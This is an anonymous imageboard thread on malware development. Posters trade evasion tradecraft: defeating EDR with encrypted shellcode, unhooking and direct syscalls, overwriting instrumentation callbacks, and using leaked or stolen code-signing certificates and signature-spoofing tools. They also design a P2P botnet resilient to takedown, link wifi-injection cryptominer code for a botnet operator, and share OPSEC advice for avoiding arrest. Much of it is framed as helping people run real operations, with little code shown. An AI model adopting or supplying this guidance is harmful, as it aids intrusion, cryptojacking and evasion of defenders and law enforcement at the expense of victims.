MalDev General /mdg/

Welcome to Malware Developement General. Where we discuss how malware is developed, groups that develope it, and techniques used by common actors such as obfuscation, hiding, etc. Also what programming languages are typically used. Malware reversing, AV, and other defense-oriented topics are not the focus, though are very welcome. I would have posted this on /λ/, but seeing as it's focused on security, I figured it would be better to post it here instead. Links: GreySec malware section: https://greysec.net/forumdisplay.php?fid=48 0x00sec malware section: https://0x00sec.org/c/malware/56 DropEngine Malleable Payloads: https://github.com/s0lst1c3/dropengine theZoo live malware samples and source repo: https://github.com/ytisf/theZoo vx-underground, papers code and more: https://vx-underground.org/ This is my first general. So if you feel obliged, please leave tips reagarding how to improve the next one, once this one get's bumped off the catalog.

I should have saved the password for this post lmao. Now I want to fix a few things and can't. That's one thing to keep in mind for the next edition.

Post some of your projects OP

>>14195 I do not actually have any at the moment. Don't even own a github account lmao.

>>14198 None that are anywhere near finished or public, anyways.

>>14199 I didn't expect the full code for some project anyways, but are you working on anything worth mentioning that could be interesting to think about for lains?

>>14200 Just boilerplate, like the connection module, that's pretty much close to finished. It would actually be my first project. I.E, I'm a noob. It's nothing I worry about or stress over, but I still get a little queasy when I find myself in a situation where It would benefit me to disclose that. And the connection module isn't entirely mine. it's some basic C++ code I got from some forum thread teaching you how to wirte very basic windows malware.

>>14201 I also don't like asking for help on this stuff, as thousands of people before me already have asked any question that I may have about anything. So usually just read up on places like 0x00sec about these kinds of things. But, I'll go ahead and subject myself to embarassment if it also benefits me. So if you want to look at the sauce, just say so, and I'll post it. The connection module, I mean.

>>14201 >>14202 I'm not any better either, that's why I was interested in seeing what other lains do. I certainly can't help you with C++ or windows, that's also why I never looked into malware dev, because I hate not being able to work on a unix like system with C.

Is it possible to make a beowulf cluster out of a botnet to use it for my hentai AI training

>>14203 I also plan on making linux malware too. Also you an develop and test windows malware on a Linux system. You just need a windows vm with various configs to test the code on. Also, most of the project is going to be written in C#, to make things a little easier. I know most people here don't care for the language, but it's honestly better than using python and some third party package to make it a single binary, like Nuitka.

>>14204 Yeah. you just gotta pwn some PC's and get the beowulf to work over ther internet on all kinds of devices scattered all over the world. I assume you're joking.

>>14206 > the beowulf. I just made myself look like a jeet.

>>1405 Just keep in mind that C# reversing is easy as fuarrrk because it is just transpiled to IL

>>14208 I've heard. I considered go, but I don't plan on actually using this malware.

>>14209 Not to mention, Go binaries are also somewhat easy to get info out of.

>>14210 Why is that? Are there any alternative compiler that can help with that?

>>14211 If I remember correctly, you can't reliably remove any debug symbols from your binary without breaking the program.

>>14204 Folding at home and similar distributed computing projects work, I don't see why this wouldn't

OP reveals he's a noob and derails the thread entirely on his own.. sad!

>>14212 Maybe... but once you do it isn't that easy to reverse, since there are no go-specific tools for this, the analyst has to treat the program like it's a regular C binary.

>>14215 Yeah they usually just read the machine code anyways

https://reddit.com/r/botnet This is comedy gold

link for malware resources https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Malware.md

https://greysec.net/showthread.php?tid=7537 This is pretty cool, I wish I had any chance at using the P2P software for something but I don't know soykaf about exploit dev

>>14231 How would that even work? If I understand that right it requires opening a port

>>14217 lmao. Thank you lainon.

Any good examples of monero miners? What do I need to know to build one?

Malware developers, can you explain to me how this scenario occurs? lets say theres a windows user, they are almost never home and use their pc for shopping or facebook a few times a week, they never go to unusual sites and w10 updates rape them in the ass whenever it feels like it so how do these people get infected? is it just port scanning and abusing exploits? its never happened to me, but its a common ancedote

>>14259 The windows user is lying. that or they clicked on a facebook link that lead to a malware serving page. it's possible that they could have had there router hacked than the attacker pivoted to the computer but the resources for that are very large more than likely it was phishing or clicking on facebook ads that serve malware.

I heard that because of ASMI powershell malware is dead is that true? Anyone who still uses powershell kits like empire?

>>14259 Something like 70-80% of web-based infections occur through ad banners leading to malware downloads. Set up an adblocker for their browser of choice (or centralized through pihole) and also rigorous spam filtering for emails. Maybe also take away the ability to install software, or at least software packages that aren't signed with a validated developer key.

https://github.com/byt3bl33d3r/OffensiveNim Has anyone done any work with Nim and a offensive platform, I know alot of malwaredev's are going to GO

>>14372 i too just learnt go for sole purpose of malware dev, whats so special about nim?

>>14403 Sorry, but anything but C is a waste of time for that matter. Go's goal is not to interact with the OS on a very low level and it is very hard to obfuscate properly

>>14404 >anything but C is a waste of time for that matter A lot of the best malware is written in assembly.

>35 posts deep and no discussion on developing malware Hahahahaha, you guys are fuarrrking lamers Check out this example of a simple backdoor, read and understand what you are looking at and then try implement it yourself from memory. https://git.tcp.direct/kayos/vxug-MalwareSourceCode/src/main/Linux/Backdoors/Backdoor.Linux.Rootin.b

>>14406 Source? What malware?

>>14408 I'm not even going to give you a serious answer, but it is common for droppers to be written in assembly, for example. A better question to ask would have been why do people write malware in C (without libraries) and assembly? It honestly bothers me that "Source?" is an acceptable reply on a board like this. Why don't you contribute something of value or if you have nothing to say just lurk? I know lainchan has a lot of rules, but I wish quality posting was enforced harder on boards like this.

>>14408 If you're writing an exploit, generally you need it to fit in a very small memory region and have no library dependencies. Handwritten assembler is almost always the way to go for that. Obviously people don't write their c2 servers in assembly, but you always make these things in multiple stages and the first ones are usually going to be asm. >What malware? Most worms.

>>14408 I'm sorry, I've been in a soykaf mood today, and it's no excuse and my reply was weaksauce. My whole point was from macros, to hta's, to .NET, to whatever, it's a bit disingenuous to make such a broad claim hand-waving and broadly saying "a lot of the best malware is written in asm" I'm with you and >>14410 that droppers and stagers are written in asm. But best is subjective to the need of the target, and malware is an extremely broad category. All I'm trying to say before the spaghetti falls out of my pocket again is that there's absolutely nothing wrong with not writing everything in asm. Writing C alongside asm is what I see more and more worthwhile. While working with the winapi isn't wildly insane in pure asm, it's just faster to write C/C++. If you *need* to squeeze into the tiniest binary possible, I agree, but there is an argument to be made that you can get a small payload even with msvcrt with nearly the same effort. The language that is the most worth it depends on operational needs and your teammate's capabilities, and "best" is subjective in that regard. >>14404 Golang is one of the worst languages to develop "malware" in, IMHO. I wrote a lot of tooling in Golang for ~2 years, and I wish I'd just stuck with C/Rust. Kind of contradicting what I just said, I believe that regardless of the platform there's almost always no need to pick golang over alternative languages for the following reasons: The runtime is massive, doing anything lower level requiring FFI with C is kind of a pain in the ass. Symbols aren't stripped in release builds, even when compiling with ldflags='-s -w', as the runtime still requires an internal symbol table. Meaning, you need to obfuscate the source before build. Interacting with the winapi is cumbersome. Rust/C/C++ don't require any obfuscation and their runtimes are (most of the time) orders of magnitude lower than Golang's 2.5MB hello world. UPX is never a good option, and I'll never understand why golang "malware" developers are willing to die on that hill. It's simply not the most worthwhile language for payloads/client-side offensive tooling. To each their own, and if you write tooling in golang and it works then that's all that matters. >>14407 >calling people lamers and then posting a lame rev shell top lel -------------------------------------------------------------------- As far as writing malware goes, generally, people first start with talking about defeating EDR. I, personally, break this up into two/three categories depending on my target environment: 1. Static analysis 2. Behavioral analysis 3. Manual review 1. Static analysis This is almost always only a problem for people trying to load and execute already known, signatured tooling / techniques. It can be anything from a single string of a domain to the name of a .NET assembly itself. Try compiling something that takes a shellcode const char array and then makes a call to valloc/vprotect then createthread. It probably won't last long on disk. The easiest option to combat this is if you need to embed shellcode, resources, etc into a payload is simple: encryption. Not XOR encoding, not b64 encoding, not caesar ciphers, actual encryption. All of the EDR/AV I've come across almost always don't trip on the data itself once it's decrypted in memory. Obfuscation for .NET/js/vb/etc can do wonders, too. Packers work as well, but can be an IOC in and of themselves. There are many ways to get past static detection that I failed to mention and don't remember. Getting something on disk and running can be the easiest part sometimes. Doing something once you have a foothold is often the bulk of detections I've seen that lead to an operation/attack being burned. Following that: 2. Behavioral analysis There's a lot to go on here, and this can wildly change depending on the language / runtime you're targeting (i.e. powershell vs a native executable). Depending on the EDR/AV you're expecting on the target you will almost always need to approach unhooking. There are many things you can do to approach this problem, but it's also important to know that heuristic analysis doesn't need to hook to monitor system events and flag on those. For example, even without NtOpenProcess and friends being hooked, opening a handle to LSASS may flag in some environments, or against certain products. 3. Manual review "If a tree falls in the woods..." Sometimes you may do everything right, but an analyst on the other side of a SOC / SIEM may get a bug up their ass to investigate odd or unique behaviors. In that case, there's not much you can do. It's almost certainly not a matter of if your sample is caught, it's when. And your lifetime on target after time of identification depends on you (the author/s) building unique samples, using unique C2 comms channels, etc. There are many ways to get completely burned once a sample has been identified. Depending on the target orgs capabilities, and the mood of the analyst, it (in my experience) can range from "man that one program on that one computer was weird" to "every sample communicating to these domains, or named this, or blah blah blah, nuke it." and your whole op is over. There's not much you can do once your payload is on system to prevent analysis. Above all else, all the cool tricks and neat hacks, the best thing you can do is blend in to your target environment as much as possible. If the target uses slack, don't write C2 comms over IRC. Think to yourself "in this target environment, who will I be when this launches?" "If I were them what do I do and what do I use in my day-to-day?" Proper preparation prevents poor performance. I'd like to expand more on this but I'm also really tired.

>>14412 >>calling people lamers and then posting a lame rev shell That is so clearly not a reverse shell, I have no idea what you're talking about. >Golang is one of the worst languages to develop "malware" in, IMHO. I can see your point about the windows API, but Go is great for Linux malware where you just don't have to deal with that. It's practically as fast to write as Python and outputs native code statically. It's certainly way better than Rust which should not even be brought up in this context, and arguably the context of making anything but soykafware. Rust barely even works as a language and certainly not when it comes to writing statically linked code. If you're worried about disk usage on modern systems, just use a dropper. No one has been caught by having an extra MB on an executable in the 21st century, especially when ransomware gangs are out here dropping entire VMs and getting away with it. It's a con for sure, but you're honestly delusional if you think it's stopping any malware campaigns. It certainly doesn't make anything ""malware"". >UPX is never a good option >To each their own, and if you write tooling in golang and it works then that's all that matters. These statements seem mutually exclusive, but either way, tell your opinions on UPX to the tons of authors that use it all the time. It's trivial to prevent it from being immediately unpacked and still works quite well, provided you're not dropping into an environment where it'll just get flagged from the get-go. Look at any sites hosting uploaded samples and you'll find UPX everywhere. Enough to get caught and end up online in the first place, fair, but definitely still in use and especially just as a way to keep binary size smaller. >Above all else, all the cool tricks and neat hacks, the best thing you can do is blend in to your target environment as much as possible. This is some actually good advice. Definitely the best way to try and get past network monitoring and HIDS.

>>14414 >That is so clearly not a reverse shell, I have no idea what you're talking about. You're 100% right, I don't know how I missed it. >Go is great for Linux malware where you just don't have to deal with that. I can agree with that. > No one has been caught by having an extra MB on an executable in the 21st century, especially when ransomware gangs are out here dropping entire VMs and getting away with it. It's a con for sure, but you're honestly delusional if you think it's stopping any malware campaigns. It certainly doesn't make anything ""malware"". Yeah, now that I think of it that way it seems kinda archaic to be so anal about size. My only thought was that embedding, for instance, a large go payload in a macro enabled document could make it stand out if the document itself isn't large. It's not a strong point, and barely enough to argue on. Idk. I have some things to rethink. Something else I wanted to mention was selective C2. Something I've implemented is requiring a stager to register with a C2 with some host information so you can pick and choose where you deploy your secondary capabilities. This isn't necessarily a novel idea, but oddly one that people don't talk about considering how common sandboxing is. Manual or automated sandboxing. Like any.run exists for free, too.

>>14415 >You're 100% right, I don't know how I missed it. In your defense, the code is pretty poorly formatted. No idea why people do that... I guess I think that a lot of the problems that people complain about Go are reasonable, but can be mitigated with stagers and stuff like that. You definitely wouldn't want to try and force it to be included in documents and stuff like that... but you could definitely write a botnet with it. I definitely agree with your thoughts on limiting the content being sent over the wire. You can do a lot with memfd_create on Linux, and download elf files and launch them without touching disk. That being said, you could also just compile code as shared libraries and then load them that way. Another option that could be useful is doing a cost/benefit analysis of just shipping a lua vm and downloading and executing scripts. That can get huge, but the way I see it, you could just use a rootkit to hide your activity from host-based monitoring and then have all of your business logic kept in a high level language that you don't keep on disk. All stuff that would happen firmly in the post-exploitation stage, though.

>>14409 Source? What droppers? The stuff I usually get is zipped vbs or powershell scripts.

>>14426 There are a lot of small ELF files going around that drop malware. I would just go to any sample hosting site and sort by size - many of these are <200 bytes, coded by hand in assembly, and just connect(), read(), and jmp to shellcode pulled over the network.

>>14408 Probably no standalone malware anymore, but shellcode is almost always written in assembly.

>>14431 Don't forget the PEB for windows! mov rax, gs:[30h] ; or it's 32b equivalent mov eax, fs:[20h]

>>14441 There's a few articles floating around about getting PIC from Rust/C but it's almost always more efficient to just write in assembly.

>>14441 I thoight shellcode were obsoloete now that NX is the default?

Do you think it is possible to use malware as a form of forced education or political manipulation (besides clickbots etc)?

Here is a good nim guide that goes pretty good for offensive tool sets. >>14562 >education or political manipulation I wouldn't really know what you mean, If you mean like psyops it would more likely be use as part of a influence op, that or just standard SEO tools

>>14889 forgot link https://secbytes.net/Implant-Roulette-Part-1:-Nimplant

>>14562 I wouldn't be surprised if it already exists. Similar principles to adware and MITM data modification attacks, instead of modifying a page with advertisements or a payment address that you control have it modify to show some content you've approved of. For example you could create one that specifically targeted reddit uses by replacing a number of posts on large news subreddits with pages and comments you have created. So long as you don't go overboard people won't notice. The same principle would work for a news site, replace several BBC news articles with ones that support your political position. You can repeat this for any service and because its on the client side it will be difficult for unaware users (i.e. the ones you are going to be targeting) to realise that they are being served propaganda instead of what they wish to see, although of course almost all websites on the internet are some form of propaganda. We already know that the NSA and friends have the capability to do this from the various leaks and are capable of inserting themselves both at the client and network level. Theres also things like the various MI6 attacks on radical Islamist publications where they used malware to change documents before they were published most famously when they replaced bomb making instructions with the recipe for making cupcakes. I would be extremely surprised if they and other global intelligence agencies are not doing this for all sorts of other publications and websites.

>>14257 this, there's like one paper on it

For those who are complete beginners heres a good guide in c++ https://0xpat.github.io/

>>14257 you just use the malware to run XMRig or similar programs.

>>15335 there's no way hackers make money doing this

>>15351 look into lemon duck and similar operations.

>>15353 who comes up with these names?

>>15356 not a fuarrrking clue.

>>14192 Why does no one talk about the horrid state of Gaming™ software? It's almost negligence how Asus/MSI/Gigabyte are still shipping a signed WinIO driver or derivative. Let's give low priv users the ability to read/write kmem! What could *possibly* go wrong??

>>14259 Porn. It's always porn sites.

really getting into vx but i don't have a mentor and hate doing soykaf alone. anyway i've been reading through a bunch of old zines and some vxheaven stuff but how do i get up to speed fast and filter through the irrelevant/outdated soykaf? there is no guide to maldev

>>15559 Read writeups to see trends. Always take them with a grain of salt, because at the end of the day you're only able to read analyses because they were caught. Obviously all implants will eventually be discovered (yes there are exceptions ofc). There's really no definitive "guide" and most of the people who are willing to offer one aren't people worth taking advice from. Bury yourself in internals for whatever OS you're targeting, and man do I mean bury yourself in it. Designing C2/Infra is a little more tricky and plainly just requires more hands on experience with "red teaming" or whatever. 1. Set yourself a goal. 2. "I want to write malware that does X and communicates over Y to Z server" and then build it. 3. Realize you built it horribly 4. Repeat until your work is where you want it. There are commercial offerings for implant development but they're kinda "eh" if I'm being honest. I was fairly lukewarm to the two I took for work. They weren't BAD by any means, but once you get past the basics it's really up to you to build and research your own TTPs. Ransomware cryptosystem write-ups are fuarrrking amazing. Some of the variants out there use some fairly sophisticated design that is just awesome. Acronis did a write-up of one I can't remember the name of right now that was the inspiration for how I deploy secrets to my implants for the C2 I wrote for work.

>>15559 You can try tcp.direct irc server that's where the new vxunderground's irc channel is at. they do alot of malware dev and can help you.

>>15559 I am also just getting into vx, and could talk to someone about it.

at-spi* is a good start to writing distro malware. Accessibility features are a godsend to breaking security like a walk in the park. On windows there is decades old method of breaking into lock screen with the accessibility trick. Linux/GNU/Unix fall for this too.

lol a malware thread without discussion about RE or AV evasion. most of you won't make anything substantial, seeing the content of this thread. lurk on rohitab for the basics, and then get really good at RE and evasion https://leanpub.com/anti-reverse-engineering-linux This is a good book to go line by line by, maybe a few of you will do it.

>>15791 I forgot I was a criminal, here have the book for free

>>15791 Meh, it was probably more fun when you could write a script inside a .txt called ILOVEYOU and Windows 98 would do literally anything that script said.

>>15793 It's the same way now my dude, but the whole point of making good malware is that the techniques aren't common knowledge. You look into Cortana scripting for Windows 10? You can drop some soykaf that activates on a spoken word. The net is vast and infinite, but it is always just out of reach of the rubes, which is why so many people are bemoaning how difficult it is

>>15794 Sure, I get that being a hacker (in the literal sense, not the 9pm news on Fox sense) is you're finding new and interesting ways to fuarrrk with soykaf that people haven't yet realised was possible, but naturally each time a method is found it gets patched and there are entire teams on company payrolls finding these methods before you or I can. I'm sure there's still a million more ways to break the protections on computers still to be found (and any change to software, including patches, is likely to introduce as many bugs and vulnerabilities as it fixes so that number will presumably always be a constant) but it's undeniable that Microsoft is putting a lot more effort into security now than they did in the 90s when getting viruses was just the fault of users looking at porn, naughty naughty.

>>15795 That's where you are wrong. As we saw with the Fireeye hack, computer security is a sham. No one is working on it, and only the illusion that hardworking experts are working on it prevents most people from trying. In a way, it creates a gap for people like me to work in. Thing is, I have had experience making malware that works for 5+ years, and no one has seen or heard of it. That is the point. You only hear about the one's that get caught. The rest are working under your nose even as we speak. The only factor is effort.

>>15796 Fair enough, I like the Super Hans image

>>15796 Master, share the path to illumination, besides that one link you posted. Share the resources, share the load. I have time on my hands and nefarious plans (for Good!)

>>15796 show us the way senpai

>>15792 >repo for book has 85 stars Oh fuarrrk yeah.

I set out to build a soykafty basic implant from scratch and learn about AV evasion, but I keep hitting roadblocks with some AV products like AVG/Avira because of their behavior analysis features. Whenever I try to drop a registry key in the autostart paths or, say, a file in one of the windows autostart locations, those AVs will immediately drop my implant from my system. I'm currently getting my info from https://0xpat.github.io/ I've tried the following to copy said file to an autostart location, in order to avoid AV hooks: - (x86) copied ntdll.dll to an arbitrary location, loaded it in my implant, and called NtWriteFile, NtCreateFile, etc from it - (x86) hardcoded the syscalls for NtWriteFile, NtCreateFile in ASM on my implant, and used wow64 Heaven's Gate (TIB+0xC0) to execute them - (x64) executed the NtWriteFile, NtCreateFile, etc syscalls directly from my implant yet, my binary will still get detected as if I were using plain CreateFile/WriteFile/etc APIs from kernel32.dll. I can understand if the AV caught my attempt somewhere in the wow64 layer on the 2nd example, but I'm puzzled about what's happening here in my last example, shouldn't my direct x64 syscalls bypass the AV? I feel like I'm learning quite a few things about ASM, windows, and malware, but it's really annoying not to be able to do what I set out to achieve. Is there something I'm missing here? do free products like these hook the syscalls too?

>>15818 These products don't hook syscalls due to patchguard. I would probably try writing to different locations. I would guess that they're probably are seeing those keys get dropped by a piece of unsigned software and immediately throwing it out.

>>15820 Yes, definitely the fact it's unsigned is the biggest factor contributing to the detection, I could buy a signing cert but that's gonna cost me money and I'll basically learn nothing in the process, so, my goal is to work around this specific AV. Since It's not possible to hook the syscall themselves, and my software gets detected even if I use syscalls directly in ASM, how is the AV detecting this behavior? I've heard AV software can and will place hooks of sorts in certain sensitive registry paths, and windows will report to it the details of the process and what's being changed in the registry. Is there something similar for filesystem operations? Because that's the only thing I can think of that would explain this detection when I attempt to copy a file into an autostart location

>>15821 look around game hacking forums, you can find code signing certs that have been leaked. i use for making signed kernel drivers, works even with revoked certs, windows doesn't care but some AV doesn't like it. you can also search public S3 buckets and get active code signing certs.

Have a friend looking to get into botnet XMR mining, any Lains have experience/tips on good methods to go about this?

>>15943 there was a need js script that you can run on public wifi and it was inject the mining script into everyone web browser on that same network, I can't find it on github since they took tons of "malicious code" down Thanks microsoft.

>>15944 Love microsoft. Any idea what it was called?

>>15945 I found it, happy hacking! https://github.com/arnaucube/coffeeMiner https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/

>>15949 Lain never lets me down. Love you guys.

>>15821 There's a few things that can happen. One "new" technique is to use a UM callback to determine if the return address from a syscall is within the address space of ntdll. If the return address is not within the address space of ntdll, alarms are raised, the president is called, etc, etc. A simple, mind-bendingly easy workaround is to find a sycall instruction within ntdll and jump to it. Obv because this is done in UM, everything you need is stored in the process' TEB. 0:000> dt nt!_TEB ntdll!_TEB ... Truncated ... +0x2d0 InstrumentationCallbackSp : Uint8B +0x2d8 InstrumentationCallbackPreviousPc : Uint8B +0x2e0 InstrumentationCallbackPreviousSp : Uint8B ... Truncated ... +0x16b8 Instrumentation : [11] Ptr64 Void // array of up to 11 callbacks to invoke on syscall return to UM ... Truncated ... Now, a more simple solution would be to just overwrite all of the callback pointers, but ymmv depending if the EDR/AV product monitors such behavior. I've yet to actually see this happen by AV, but it wouldn't surprise me if they implement this in three years when this is old hat. Thought you all might find this neat, too. >>15824 Something something WHQL windows enterprise/pro. You don't even need to go that far to be honest. A lot of gaming "software" still ships with signed WinIO64 and friends. The latest release of GPU Tweak does, at least. >>15821 Unsigned binaries can be a pretty big red flag. There's a ton of utilities to self-sign with a bogus cert. Can't say I've seen many times where something got popped bc it was signed, but not with a legit cert. I can't remember the name of the tool I had used previously and it's killing me. >>15796 >computer security is a sham yes >only the illusion that hardworking experts are working on it prevents most people from trying yes >That is the point. You only hear about the one's that get caught. The rest are working under your nose even as we speak. The only factor is effort. P R E A C H

>>16001 >I can't remember the name of the tool I had used previously and it's killing me. CarbonCopy https://github.com/paranoidninja/CarbonCopy There's a few others I know of but I've actually used this previously.

>>16008 Nice, I'm gonna try it out on a few merlin c2 agents and see how well they work out.

(If this is considered off-topic or uninteresting to MalDev, move this to QTDDTOT please) My old Windows 7 got pwned (a NetSupport Manager based trojan, hijacked sourceforge download) and I am trying to get an idea of what happened, because some things suggest either very sloppy cleanup or failure from the trojan. >registry key to run on start-up pointed to a non-existent payload exe HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ctfmon_ C:\Users\user\AppData\Roaming\[random-chars]\ctfmon.exe , folder existed but ctfmon.exe did not. >two temp folders with random names exist, both empty >disk recovery tool and grepping the drive found no traces of most of the files it dropped onto VirusTotal detonation boxes, only found install.exe (which installs the non-trojan program) and a temp file from the legitimate set-up. >TotalVirus reports malware attempts to contact the actual legitimate netsupportsoftware.com site, along with some suspicious ones VirusTotal link: https://www.virustotal.com/gui/file/42e7960d6dbe2306406dc38cd2243f0879aad5a7d579423b9cd8559af97e992c Microsoft Security Essentials and MalwareBytes (Premium Trial) found nothing, although both flag the original exe (I thought Windows Defender included MSE, but that's only for Win8+ apparently) MalwareBytes AntiRootkit found nothing either. OpenWRT doesn't appear to have activity logging by default, so I don't think I can check whether external connections were ever made. It is entirely possible I ran the trojan with internet disconnected and that screwed it up. Or, if I'm unlucky, it just did its job and cleaned itself up, poorly. Any thoughts?

>>16091 HAHAHAHAHA I wish this board allowed reaction images because this is so stupid. My version of Powershell was so far out-of-date that it didn't have Expand-Archive, so the trojan couldn't extract the payload. Security through obscurity wins again.

>>16133 most powershell malware run's downgrade attacks, like magic unicorn. https://github.com/trustedsec/unicorn

>>14192 Hey how do I check for embedded virus or malware in a binary? The binary is an MTK su binary compiled for arm64 and I want to look at it to make sure it doesn't pwn my android when I use the exploit to root

>>16137 That's a good point and fun for me to look into, but in this case I couldn't find any sign of downgrade nor need to (powershell.exe launch command didn't specify version, no powershell registry keys modified) and the script required the Extract-Archive which literally doesn't exist in a downgraded version. It looked amateurish, as it was a basic NetManager trojan installed with consensual admin access, simple enough for a skiddie like me to reverse engineer.

What compiler is best for C/C++ malware development? Is there any reason to prefer Visual Studio 6.0 over the newer versions? Why is some still being written with VS6?

>>16334 >Why is some still being written with VS6? Because they're copying old tutorials and don't know enough to port the code to a modern toolchain.

>>16438 this. gh0stRAT is a vs6 project and that's probably one of the most copied

>>16334 VB6 is a pain to reverse. It's very common in packers for that reason.

anyone tried their courses? https://institute.sektor7.net/red-team-operator-malware-development-essentials?coupon=MALDEV-45FCB2SIWE4

>>16539 >glorified sys admin kek

>>16542 what do you mean?

>>14192 Hello all! I'm trying to root my phone via exploit. Its CPU is a Cortex A7. I was wondering how to find out which vulns are known for my CPU, and how to tell if they are patched. Only thing I've found so far is the CVE list at Mitre, but I don't know if they've been patched yet. How do I proceed?

>>16549 The usual way to do this is look on forums for your specific handset and/or version of android and find other that have rooted it. Unless you're developing a new exploit, looking at CVEs is braindead.

>>16552 What if I'm actually creating a new exploit for a documented vuln that doesn't have a documented exploit? Why is looking at CVE's braindead?

>>16091 can you share the sample. I'll reverse it for you>>16091

Given the exorbitant salaries available to whitehat devs in the current software employment market, why develop malware? Aside from fuarrrking with people or gov/corp APTs doing shady soykaf, is this financially worth it for anyone?

>>15796 Did you ever grab a student under your wing? Did someone turn out worthy enough of your time and effort? If not, is there a prominent possibility of group efforts within hacking? Is it organic (ie people find they have similar mentalities and therefore collaborate more) or purely synthetic (ie gov or private firm hires people to work together, or people congregate with as little trust is possible to just have a monetary goal after which they split)? I want to know because I am heavy into programming and want to get into hacking so I want to know if this sort of thing happens, or is it purely a solo sport.

>>16559 Yes. Boss comes in: "We need to emulate X group with Y ttps" I make X with Y.

>>16564 Accidental sage, and to boot I misunderstood what you said. IMHO it's just not worth it in the long run to write malware for "illegal" (whatever that means) use. It's just flat out not worth the trouble, unless it's some cooked up shower daydream where Liam Neeson and I need to rescue my family from some console cowboys. >>16561 This is wildly subjective and depends entirely on your local community and friend circle. My experience isn't everyone's experience. If there's one thing I've learned, anyone who says they can "take you under their wing" is most likely not worth learning from. When I was younger I had this mindset bc I was so eager to learn, but it just wasn't real or the people I met along the way were people who cared more about looking leet than actually working hard. Conversely, my experience has been that no one who is worth learning from has the time for an "apprentice," they're busy reading/writing/improving. I was fortunate to have mentors at work, but outside of that it's a 100% solo venture full of "try harder" and "rtfm" and "shut up and start tinkering." Idk, I sympathize with wanting some help and guidance early on but just be careful bc there's a lot of people out there with incomplete information who shouldn't really be repeating it. The real education that'll stick with you forever comes from hands-on, often solo, experiences. Maybe I'm crotchety and I have a warped, myopic perspective. I'm totally open to that, but I've also had horrible experiences with people larping as "mentors." It wasn't until I just shut the fuarrrk up and read a lot, and started writing a lot of code on my own, that I actually started improving.

>>16559 Ransomware definitely is, to the point where I wonder what people that get fired from those jobs would do knowing they could make millions more than when they were defending.

How did past malware devs get busted? I mean, is anyone even looking for a small xmr miner botnet operator? And even if you do some serious soykaf like ransomware, how are they ever going to find out who you are? From what I can tell, there are only three major potential fuarrrkups: >initial spread of malware Well if you are stupid enough you use your own devices as a source of a botnet infection spread out, with some bad luck this can of course be traced back to you. >C2 infrastructure this is the most critical point, you somehow have to make sure your servers are both reliable and anonymous. And of course also secure enough to prevent takeovers. I assume that most convicted malware devs were caught because their c2 servers could somehow be traced back to them. >payment Well, if you use BTC in 2021 you already fuarrrked up. But who knows if monero will still be safe in a decade, what if quantum computing really will have the impact on cryptography the buzzword press is spreading? Did I miss any other points of failure? This appears to me as if the risk is actually really small if you are at least somewhat careful. Am I wrong with this assumption?

>>16785 https://techbeacon.com/sites/default/files/gated_asset/hpe-security-cybercriminal-opsec-practices.pdf

the tl;dr from that pdf for you On the other hand, common criminal OPSEC failures are: •Contamination - mixing real and fake identities; for example using the real name as a username, using real email addresses, domains registered in the real name, use of home IP address for criminal operations •Reuse of credentials - the higher the reuse the higher the risk of being discovered•Weak passwords •Forgetting basic OPSEC - connecting to the victim or C2 system with the real IP address by mistake •Testing malware on their own computer, infecting it and becoming a part of a tracked botnet•Leaving trails in malware to get public attention •Bragging on social networks •Following their own real personal accounts on social networks•Leaving payment trails•Leaving trails of activity in browser cache •Collaborators exposing activities either through bad OPSEC or deliberately after cooperating with law enforcement agencies or otherwis

>>14290 >malware is dead >is that true Here's your (you), retardposter

>>16793 >•Testing malware on their own computer, infecting it and becoming a part of a tracked botnet Even if you're not a criminal, reset your soykaf often right?

>>17076 Why would you do that as a non-criminal?

>>17086 The foolishness of the peons continues to surprise me. Why would you practice with a virus? >What is lab research >What are wild exploits >What are voluntary botnets >What are anti-botnet botnets like TOR >What is learning how to defeat malware It's clearly good practice to reset all your soykaf often. It makes logical sense.

>>17089 Btw, there are things like toram and disposableVM (Qubes). They reset your soykaf each time you shutdown.

>>17093 I suppose I didn't explicitly state it, but quarantine implies using VMs like that. I've heard... rumours though. Advanced malware, which can get out of hypervisors and spread like that.

>>17086 you would do it in a sandbox for malware analysis, also testing malware in a lab before roll out.

>>17089 Who would ever run something on their own box lmao If you're to new to understand why that's a bad idea just turn back now, this isn't for you Shit man, IDA Pro patches every once in a while for some vuln. There's been plenty of exploits for the hypervisor/virtualization platform of your choice, and recently most likely. So so so many groups and people have financial and ideological incentives to push the envelope in this space. To say a VM escape to infect the hypervisor hasn't been done is just naive. Is it common? Ofc not, but it's not impossible. Tl;dr: upload to cloud analysis platform/machine, if it escapes the hypervisor not your fuarrrkin problem

https://github.com/optiv/ScareCrow been playing around with this. very impressive stuff. author seems to want to maintain it to remain undetectable too

I coded a fully connected peer-to-peer botnet in Go that uses PGP signed messages to communicate so someone with the private key could control the network from any node with no CNC server. Nodes always forward messages to all the nodes they know about (there is a random ID and each node tracks the last million IDs it saw so they can ignore messages they've already seen) so there would seem to be no way of knowing which node a command came from (any infected machine could be the command node). This is purely a hobby project, I'm not going to release it anywhere, but does anyone see any flaw in this design or know a way the network could be taken down or its operator deanonymised? It seems like this design would be pretty resistant to both.

>>18193 yes, make sure you check the timestamp of those pgp signed messages so your botnet isn't vulnerable to a replay attack

>>18193 PGP is probably not the ideal method for this if you're just looking to sign commands, as those messages contain a lot of metadata that you don't really need. You could just use ed25519 https://pkg.go.dev/golang.org/x/crypto/ed25519 As for the architecture, you should definitely just have a specific counter and timestamp in each message to prevent a replay attack, that is included in each message and signed from the same key. You can't really do a challenge-response (w nonce) with each node to prevent it like you would in a traditional system, so just include an incremented counter per message along with a valid epoch timestamp, maybe accept a command if its given within an hour or so. I can't really speak to what time period is best for something like this. If you haven't already you should look into FritzFrog, a P2P botnet also written in Go uses a custom P2P protocol: https://www.guardicore.com/labs/fritzfrog-a-new-generation-of-peer-to-peer-botnets/

>>14444 A lot of people are playing more elite than they are. NX/W^X , ASLR, and Stack Canaries have made exploitation on modern systems more difficult than I can do. Most 'exploit challenges' ship VMs with mitigations disabled exactly for this purpose. Embeded Systems are popular targets because these mitigations are often disabled, or versions are so old they aren't present. Most Actors are gaining code execution by phishing, and credential stuffing. APTs are looking at supply chain compromise because targets are so hard. Living Of the Land and Malwareless are becoming a thing because of the challenges of even running malware in modern environments.

Malware for Linux is so much easier and pleasant to write, thanks to Linux's soykaf security

